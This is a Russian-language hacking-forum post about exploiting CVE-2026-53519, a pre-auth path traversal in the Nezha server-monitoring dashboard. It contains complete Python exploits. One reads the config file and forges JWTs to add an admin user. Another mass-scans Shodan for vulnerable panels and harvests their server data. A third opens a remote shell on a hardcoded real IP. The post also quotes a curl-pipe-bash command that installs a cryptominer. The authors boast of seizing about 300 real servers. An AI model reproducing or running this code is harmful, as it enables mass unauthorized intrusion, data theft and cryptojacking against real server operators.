LIMB
Вход Регистрация

тема

Война с Китайцами или же, что такое CVE-2026-53519?

neshel · · 0 ответов · 729 просмотров

Приветствую всех читателей на этой платформе, я бы хотел поведать вам историю с данным CVE.​


Для начала давайте войдем немного в курс дела и что вообще такое само по себе Nezha?

Nezha - "легковесный, самохостируемый инструмент для мониторинга серверов и веб-сайтов. Забудьте о сложных конфигурациях, тяжеловесных агентах и абонентской плате. Nezha предлагает элегантное решение, которое вы можете развернуть на своей инфраструктуре и полностью контролировать. Это как иметь личного, всегда бодрствующего системного администратора, который шепнет вам на ухо о любой проблеме, прежде чем она станет катастрофой."

Очень много красивых слов и эпиттетов автор данного поста использует для описания данной системы мониторинга и аркестрирование.[https://devtrends.ru/go/nezhahq-nezha?ysclid=mqqsi3utrk378654630] ,но что происходит на самом деле?
Стоит уточнить что для данной статьи были взяты версии Nezha ниже 2.0.13. Прошу обратить внимание на это!​

Суть данной CVE заключается в том что в устаревших версия существует  pre-auth path traversal / arbitrary file read. Если говорить простыми словами возможность неунифицированному пользователю Алёше заглянуть внутрь микросервиса Вани, из-за чего может случиться от компрометации пользователя до RCE и захвата самих серверов, что далее будет показано в статье.

Глава 1. Что не так с Nezha?​


Как говорилось ранее из-за Nezha может случиться достаточно много неприятных моментов, немного по душним и разберём почему вообще так получается, для этого давайте  ознакомимся с самой начинкой, которая находится в опен сорсе на гите.

Чтобы не растягивать статью и ваше свободное время обратимся к официальному источнику [https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh ]
Ну так вот нас интересует прежде всего  файл
cmd/dashboard/controller/controller.go  и вот эти вот интересные строчки:

Не удалось прогрузить медиа

Не удалось прогрузить медиа


Приглядевшись по внимательнее к строчки if strings.HasPrefix(c.Request.URL.Path, "/dashboard") мы увидим, что данная функция (HasPrefix) просто проверяет существует ли вообще данная папка, а не целостность пути, так и получается что для неё  
Code:
server.com/dashboard/

и

    
Code:
server/dashboard../data/config.yaml

 это смежные понятия.

Вы скажете так библиотека в Go (net/http) имеет встроенный фильтр (containsDotDot), который отфильтровывает спец символы. в данном случае это "..".

Но опасность кроется в том, что вместо того чтобы вернуть нам при запросе (400 Bad Request) фильтр нас пропустит, опять из-за кривизны работы (HasPrefix), так как path хавает вообще что угодно. Уже для фильтра это выглядит как немного обкуренный путь, до dashboard.


Глава 2. Почему нам закрыли въезд в Китай?​


И так перейдем к самой эксплуатации нашей CVE, хотелось  бы выразить благодарность вот этому автору статьи за начальный вектор [https://forum.LIMB.cc/threads/7449/#post-31796].
на основе него мы собрали Автоматизированный скрипт на python
опубликованный ниже:
Python:
import requests, time, jwt, re
from concurrent.futures import ThreadPoolExecutor
u = input("Enter Target: ")
d = requests.get(f"{u}/dashboard../data/config.yaml")
s = re.search(r"jwt[a-z_]*\s*:\s*(.*)", d.text, re.I).group(1).strip()
w = d.text.split("web_real_ip_header: ")[1].split("\n")[0] if "web_real_ip_header: " in d.text else ""
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36"})
def f(i):
    t = jwt.encode({"user_id": str(i), "ip": w, "iat": int(ts := time.time()), "nbf": ts - 5, "exp": ts + 900}, s, "HS256")
    r = session.post(f"{u}/api/v1/user", headers={"Cookie": f"nz-jwt={t}"}, json={"username": "BanMan", "password": "Ca@nI_ma, "role": 0})
    return i, t, r.status_code, r.text
with ThreadPoolExecutor(max_workers=20) as e:
    for i, t, st, tr in e.map(f, range(1, 11)):
        print(f"Attempt (user_id={i}) - Status: {st}")
        if st == 200 and "ApiErrorUnauthorized" not in tr:
            print(f"injected ")
            break
в последсвтии данный скрипт был перенесён  на гошку

Не удалось прогрузить медиа


На этом можно было уже начать отрабатывать, но нам снесло крышу и мы решили играть по крупному:
и мы прикрутили простой сканнер нужных технологий ко всему прочему и в конечном итоге образовался данный экслойт
Python:
import httpx
import asyncio
import json
import requests
import time
import jwt
import re
import argparse
import datetime
import time
import websocket
import threading
import os
from concurrent.futures import ThreadPoolExecutor
_apIKey = "Простите, но денег нема"
q = 'http.title:"Nezha Monitoring" -country:"RU"'
def Ex(t_data):
    target = f"{t_data.get('ip_str')}:{t_data.get('port')}"
    try:
        url = f"http://{target}"
        d = requests.get(f"{url}/dashboard../data/config.yaml", timeout=3)
        if d.status_code != 200: return None
        secret = re.search(r"jwt[a-z_]*\s*:\s*(.*)", d.text, re.I).group(1).strip()
        web_ip = d.text.split("web_real_ip_header: ")[1].split("\n")[0] if "web_real_ip_header: " in d.text else ""
        t = jwt.encode({"user_id": "1", "ip": web_ip, "iat": int(time.time()), "exp": time.time() + 900}, secret, "HS256")
        r = requests.post(f"{url}/api/v1/user", headers={"Cookie": f"nz-jwt={t}"},
                          json={"username": "BanMan", "password": "Ca@nI_ma", "role": 0}, timeout=3)
        if r.status_code == 200 and "ApiErrorUnauthorized" not in r.text:
            return target, t
    except:
        pass
    return None
lock = threading.Lock()
def Ws(target, t, s_list):
    def on_message(ws, msg):
        data = json.loads(msg)
        now_ms = data.get("now", 0)
        result = {
            "target": target,
            "online": data.get("online"),
            "servers": [{
                **{k: (s.get("host", {}).get(k) if k != "name" and k != "country_code" and k != "id" else s.get(k))
                    if (s.get("host", {}).get(k) if k != "name" and k != "country_code" and k != "id" else s.get(k)) is not None else ""
                    for k in ["id", "name", "platform", "cpu", "mem_total", "disk_total", "swap_total", "country_code"]
                },
                "online": bool(s.get("last_active")) and not s.get("last_active", "").startswith("0001-01-01") and (now_ms / 1000 - datetime.datetime.fromisoformat(s.get("last_active", "1970-01-01T00:00:00+00:00").replace("Z", "+00:00")[:26] + s.get("last_active", "")[26:]).timestamp()) < 10,
                "cpu_pct": round(s.get("state", {}).get("cpu", 0), 2),
                "mem_pct": round(s.get("state", {}).get("mem_used", 0) / s.get("host", {}).get("mem_total", 1) * 100, 2) if s.get("host", {}).get("mem_total") else 0,
                "disk_pct": round(s.get("state", {}).get("disk_used", 0) / s.get("host", {}).get("disk_total", 1) * 100, 2) if s.get("host", {}).get("disk_total") else 0,
                "net_in_speed": s.get("state", {}).get("net_in_speed", 0),
                "net_out_speed": s.get("state", {}).get("net_out_speed", 0)
            } for s in data.get("servers", [])]
        }
        with lock:
            s_list.append(result)
        ws.close()
    websocket.WebSocketApp(f"ws://{target}/api/v1/ws/server",
        header=[f"Origin: http://{target}", f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", f"Cookie: nz-jwt={t}"],
        on_message=on_message
    ).run_forever()
async def S(max_pages):
    try:
        with open("success.json", "r", encoding="utf-8") as jf:
            loaded = json.load(jf)
            s_list = loaded if isinstance(loaded, list) else []
    except (FileNotFoundError, json.JSONDecodeError):
        s_list = []
 
    executor = ThreadPoolExecutor(max_workers=60)
    async with httpx.AsyncClient() as client:
        for page in range(1, max_pages + 1):
            print(f"Container {page}...")
            params = {"key": _apIKey, "query": q, "page": page}
            resp = await client.get("https://api.shodan.io/shodan/host/search", params=params, timeout=20)
            if resp.status_code != 200: break
            matches = resp.json().get("matches", [])
            if not matches: break
            results = list(executor.map(Ex, matches))
    
            for res in results:
                if res:
                    target, t = res
                    print(f"[InJected] {target}")
                    executor.submit(Ws, target, t, s_list)
            await asyncio.sleep(0.5)
 
    await asyncio.sleep(15)
    executor.shutdown(wait=True)
 
    _filter = [item for item in s_list if isinstance(item, dict) and item.get("servers")]
 
    with lock:
        with open("success.json", "w", encoding="utf-8") as jf:
            json.dump(_filter, jf, indent=2, ensure_ascii=False)
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-p", type=int, default=1, help="pages")
    args = parser.parse_args()
 
    asyncio.run(S(args.p))
    print("All Done.")
Предлогаю немного  остановиться и разобрать что вообще происходит в функции "ws():"

по  запросу через вебскоеты мы увидим вот такой ответ:
JSON:
{
  "now": 1782238026000,
  "online": 1,
  "servers": [
    {
      "id": 6,
      "name": "premium-boar",
      "host": {
        "platform": "freebsd",
        "cpu": [
          "Intel(R) Xeon(R) E-2388G CPU @ 3.20GHz 16 Physical Core"
        ],
        "mem_total": 137315299328,
        "disk_total": 37989340082688,
        "arch": "amd64",
        "boot_time": 1781093839
      },
      "state": {
        "cpu": 7.848837209302325,
        "mem_used": 64401887232,
        "disk_used": 4626393246208,
        "net_in_transfer": 573904298930,
        "net_out_transfer": 530983333874,
        "net_in_speed": 371194,
        "net_out_speed": 450056,
        "uptime": 1144186,
        "load_1": 1.41650390625,
        "load_5": 1.40185546875,
        "load_15": 1.49560546875,
        "process_count": 3
      },
      "country_code": "pl",
      "last_active": "2026-06-24T02:07:05.861955075+08:00"
    },
    {
      "id": 7,
      "name": "clever-cicada",
      "host": {
        "platform": "freebsd",
        "cpu": [
          "Intel(R) Xeon(R) Silver 4214R CPU @ 2.40GHz 24 Physical Core"
        ],
        "mem_total": 204691693568,
        "disk_total": 82872146163712,
        "arch": "amd64",
        "boot_time": 1781093845
      },
      "state": {
        "cpu": 10.54083885209713,
        "mem_used": 72683323392,
        "disk_used": 3553249782784,
        "net_in_transfer": 1311381553384,
        "net_out_transfer": 688324591242,
        "net_in_speed": 117844,
        "net_out_speed": 482252,
        "uptime": 1144180,
        "load_1": 2.58740234375,
        "load_5": 2.91162109375,
        "load_15": 3.09130859375,
        "process_count": 3
      },
      "country_code": "pl",
      "last_active": "2026-06-24T02:07:06.069810489+08:00"
    },
    {
      "id": 8,
      "name": "free-anteater",
      "host": {
        "platform": "debian",
        "cpu": [
          "Intel(R) Xeon(R) CPU E5-2697 v2 @ 2.70GHz 1 Virtual Core"
        ],
        "mem_total": 1532481536,
        "disk_total": 25262727168,
        "swap_total": 3221217280,
        "arch": "x86_64",
        "boot_time": 1779410959
      },
      "state": {
        "cpu": 3.666666671051644,
        "mem_used": 1327554560,
        "swap_used": 474963968,
        "disk_used": 9473040384,
        "net_in_transfer": 220225762035,
        "net_out_transfer": 507441451410,
        "net_in_speed": 1239,
        "net_out_speed": 740,
        "uptime": 2827067,
        "load_1": 0.03,
        "load_5": 0.03,
        "tcp_conn_count": 20,
        "udp_conn_count": 4,
        "process_count": 103
      },
      "last_active": "2026-06-24T02:07:06.392892265+08:00"
    },
    {
      "id": 9,
      "name": "united-doe",
      "host": {
        "platform": "debian",
        "cpu": [
          "Intel(R) Xeon(R) CPU E5-2697 v2 @ 2.70GHz 1 Virtual Core"
        ],
        "mem_total": 1004912640,
        "disk_total": 63088406528,
        "swap_total": 2147479552,
        "arch": "x86_64",
        "virtualization": "kvm",
        "boot_time": 1781604411
      },
      "state": {
        "cpu": 0.6666666672875483,
        "mem_used": 542195712,
        "swap_used": 8392704,
        "disk_used": 6832754688,
        "net_in_transfer": 27424870140,
        "net_out_transfer": 76885407601,
        "net_in_speed": 2935,
        "net_out_speed": 238,
        "uptime": 633631,
        "load_1": 0.06,
        "load_5": 0.12,
        "load_15": 0.11,
        "tcp_conn_count": 7,
        "udp_conn_count": 3,
        "process_count": 78
      },
      "last_active": "2026-06-24T02:07:06.503628694+08:00"
    },
    {
      "id": 10,
      "name": "sure-marlin",
      "host": {
        "platform": "debian",
        "cpu": [
          "Intel(R) Xeon(R) CPU @ 2.20GHz 2 Virtual Core"
        ],
        "mem_total": 1001361408,
        "disk_total": 31460429824,
        "swap_total": 2147479552,
        "arch": "x86_64",
        "boot_time": 1773571430
      },
      "state": {
        "cpu": 100,
        "mem_used": 723120128,
        "swap_used": 108474368,
        "disk_used": 6600441856,
        "net_in_transfer": 18520644806,
        "net_out_transfer": 85745849921,
        "net_in_speed": 274619,
        "net_out_speed": 460047,
        "uptime": 8133934,
        "load_1": 5.9,
        "load_5": 3.74,
        "load_15": 3.53,
        "tcp_conn_count": 1147,
        "udp_conn_count": 8,
        "process_count": 120
      },
      "last_active": "2026-06-17T22:09:24.302404218+08:00"
    }
  ]
}
далее мы решили узнать как вообще происходит управления машинками через веб консоль. которую предоставляет сама технология, и очень весёлая информация всплыла. при заходе в сам dashboard Nezha у нас появятся наши  сервера:

Не удалось прогрузить медиа



Не удалось прогрузить медиа




как видите сбоку расположена сама id данного устройства. посмотрим на внимательнее, что у нас происходит при открытии терминала
А здесь мы обнаруживаем незамысловатую логику получения
(session_id).

Не удалось прогрузить медиа



перейдём к самому сладкому как я считаю. как вообще происходит управление через консоль?

открываем наш BurpSuite и ловим запросы и что же мы обнаруживаем.

Не удалось прогрузить медиа


А тут у нас ребятушки обычный вебсокет который слушает что мы вводим, и записывает в так называемую ячейку памяти(буфер), но как только мы нажимаем ENTER  в конец  дописывается  "\r" , что говорит системе о том, что ввод команды закончился  нужно передать её машинки, а она в свою очередь через этот же канал вернет ответ прямо в вебсокете поднятом .

Ниже мы вам предоставляем POC небольшой, если это так можно назвать.

 
Python:
3# WebSocket Injection
import requests, json, os
import asyncio
import websockets
t = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIwMzgzMTIsImlhdCI6MTc4MjAzNzQxMiwiaXAiOiIiLCJuYmYiOjE3ODIwMzc0MDcsInVzZXJfaWQiOiIzIn0.UIKigihc0LJm3iJMe5U8U1ckkC7dH-Q3MD_c81x4m1c"
r = requests.post("http://152.89.106.9:8008/api/v1/terminal",
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "Cookie": f"nz-jwt={t}"},json={"server_id": 6})
print(json.dumps(r.json(), indent=2, ensure_ascii=False)) if r.headers.get('content-type', '').startswith('application/json') else print(r.text)
data = r.json()
session_id = data["data"]["session_id"]
async def run():
    ws_url = f"ws://152.89.106.9
:8008/api/v1/ws/terminal/{session_id}"
    print("___Injected Socket___")
    async with websockets.connect(ws_url, additional_headers={"Cookie": f"nz-jwt={t}"}) as ws:
        async def reader():
            while True:
                try:
                    msg = await ws.recv()
                    text = msg.decode("utf-8", errors="replace") if isinstance(msg, bytes) else msg
                    print(text, end="", flush=True)
                except Exception:
                    break
        asyncio.create_task(reader())
        loop = asyncio.get_event_loop()
        while True:
            cmd = await loop.run_in_executor(None, input, "")
            if cmd.lower() in ("exit", "quit"):
                break
            await ws.send(cmd + "\r")
asyncio.run(run())

Не удалось прогрузить медиа


​

Глава 3. Война с клонами или почему китайцы обозлились на Google.​

Затравка данного сюжета заключается в том, что как вы понимаете началась тотальная отработка 
Не удалось прогрузить медиа


Но китайцы народ жадный и обидчивый, из -за чего они не стали терпеть такой наглости и начали пытаться нас скидывать с машинок и всячески их закрывать своим народным mirai, но мы не пальцем деланные и пошли по другой схеме. Мы прочухали как они закрепляются, а именно (самым шумным вариантом), 
Не удалось прогрузить медиа


как вы можете заметить китайские браться у нас уже не первый раз используют данную заготовку:
```export HOME=/root && curl -s -L https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 88e4qvwx6rg1Dz3ra3bgBG1d6mbbSm2eZTgoCBG7jNTJiVMv32aYxudYnWjZr82BTd7TTQY9rkPZVAAtqPXjqmP5Dx29BRG
```
Мы  углубились чуть дальше в расследование и нашли  ещё кое-что .
[https://github.com/nezhahq/nezha/issues/1207]

а тут просто кладезь китайцев и их китайской мудрости, которые проливают Frosty IOt 
Не удалось прогрузить медиа


На утро мы заходим в панели, а у нас всё легло, мы расстроились и пошли делать ход конём, мы заменили их все обращения на C2 и все Curl на пинг google.com, как только они это заметили, резко все хосты были прикрыты, но свои лиссенеры на хостах они не закрыли, поэтому мы сбросили cron и закрыли все дыры, через которые они крепились на хостах.

по итогу вот так мы проиграли битву, но выиграли войну.

Итоги:

Было захваченно 300 серверов из всего диапазона

Не удалось прогрузить медиа


Я думаю у вас возникнет резонный вопрос .сколько из них остались в рабочем состоянии после китайцев?
Ответ достаточно  простой и лаконичный : 0, они всё убили, а что осталось нетронутым это несколько машинок работающие через google console.

Всем спасибо, что прочитали нашу статью, мы бы хотели чтобы вы оставили своё мнения на весь этот счёт и если что, поправили нас, если мы где-то ошиблись.

References and literature:
  1. https://nvd.nist.gov/vuln/detail/CVE-2026-53519
  2. https://devtrends.ru/go/nezhahq-nezha?ysclid=mqqsi3utrk378654630
  3. https://forum.LIMB.cc/threads/7449/#post-31796
👍65 ❤️21 😁12 🤔6 😢11 💯8

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.